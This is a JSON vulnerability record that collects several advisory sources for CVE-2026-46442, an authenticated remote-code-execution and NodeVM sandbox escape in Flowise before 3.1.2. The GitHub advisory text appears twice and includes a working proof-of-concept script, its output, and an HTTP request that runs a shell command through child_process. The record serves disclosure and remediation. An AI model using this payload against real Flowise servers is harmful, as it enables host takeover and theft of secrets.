{"id":"CVE-2026-46442","aliases":["EUVD-2026-35110","GHSA-9rvc-vf7m-pgm2"],"status":"published","title":"Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.32998,"percentile":0.98381,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-05-14T14:57:53Z","modified":"2026-10-28T02:30:33Z","exploits":[{"source":"nuclei","id":"CVE-2026-46442","title":"Flowise \u003c 3.1.2 - node-custom-function Unauthorized RCE","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-46442.yaml"}],"fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.1"},{"fixed":"3.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.2"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46442","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9rvc-vf7m-pgm2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46442.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46442","title":"Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.","status":"published","published":"2026-06-08T15:30:48.999Z","modified":"2026-06-09T14:35:49.756Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:47:06.353366Z"}],"euvd":[{"id":"EUVD-2026-35110","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.","status":"published","published":"2026-06-08T15:30:48Z","modified":"2026-06-09T14:35:49Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T18:20:47.64718Z"}],"ghsa":[{"id":"GHSA-9rvc-vf7m-pgm2","title":"FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","description":"### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured — the common deployment case — Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post('/', nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n  '/',\n  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),\n  chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n  → packages/server/src/controllers/nodes/index.ts\n  → packages/server/src/utils/executeCustomNodeFunction.ts\n  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n    executeJavaScriptCode(javascriptFunction, sandbox)\n  → packages/components/src/utils.ts\n    if !process.env.E2B_APIKEY → NodeVM fallback\n  → [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox \u0026\u0026 process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path — the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\nreturn cp.execSync('id').toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require('path');\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });\n\nrequire(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'\n));\n\nconst attackCode = `\nasync function f() {\n  const error = new Error();\n  error.name = Object.create(null);\n  return error.stack;\n}\nreturn await f().catch(e =\u003e {\n  const FunctionCtor = e.constructor.constructor;\n  const cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\n  return cp.execSync('id').toString().trim();\n});\n`;\n\n(async () =\u003e {\n  const node = new CustomFunction();\n  const result = await node.init(\n    { inputs: { javascriptFunction: attackCode } },\n    '',\n    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n  );\n  console.log('[RCE OUTPUT]', result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer \u003cvalid-api-key\u003e\nContent-Type: application/json\n\n{\n  \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=\u003e{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\\\"child_process\\\")')();return cp.execSync('id').toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent — do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.","status":"published","published":"2026-05-14T14:57:53Z","modified":"2026-06-09T13:10:19Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:24.856614Z"}],"nvd":[{"id":"CVE-2026-46442","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.","status":"published","published":"2026-06-08T16:16:41.347Z","modified":"2026-07-23T07:10:00.113Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:22.73178Z"}],"osv":[{"id":"CVE-2026-46442","title":"Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.","status":"published","published":"2026-06-08T15:30:48.999Z","modified":"2026-10-28T02:30:33.514795627Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:05.870292Z"},{"id":"GHSA-9rvc-vf7m-pgm2","title":"FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","description":"### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured — the common deployment case — Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post('/', nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n  '/',\n  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),\n  chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n  → packages/server/src/controllers/nodes/index.ts\n  → packages/server/src/utils/executeCustomNodeFunction.ts\n  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n    executeJavaScriptCode(javascriptFunction, sandbox)\n  → packages/components/src/utils.ts\n    if !process.env.E2B_APIKEY → NodeVM fallback\n  → [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox \u0026\u0026 process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path — the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\nreturn cp.execSync('id').toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require('path');\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });\n\nrequire(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'\n));\n\nconst attackCode = `\nasync function f() {\n  const error = new Error();\n  error.name = Object.create(null);\n  return error.stack;\n}\nreturn await f().catch(e =\u003e {\n  const FunctionCtor = e.constructor.constructor;\n  const cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\n  return cp.execSync('id').toString().trim();\n});\n`;\n\n(async () =\u003e {\n  const node = new CustomFunction();\n  const result = await node.init(\n    { inputs: { javascriptFunction: attackCode } },\n    '',\n    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n  );\n  console.log('[RCE OUTPUT]', result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer \u003cvalid-api-key\u003e\nContent-Type: application/json\n\n{\n  \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=\u003e{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\\\"child_process\\\")')();return cp.execSync('id').toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent — do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.","status":"published","published":"2026-05-14T14:57:53Z","modified":"2026-06-09T13:15:15.608451068Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
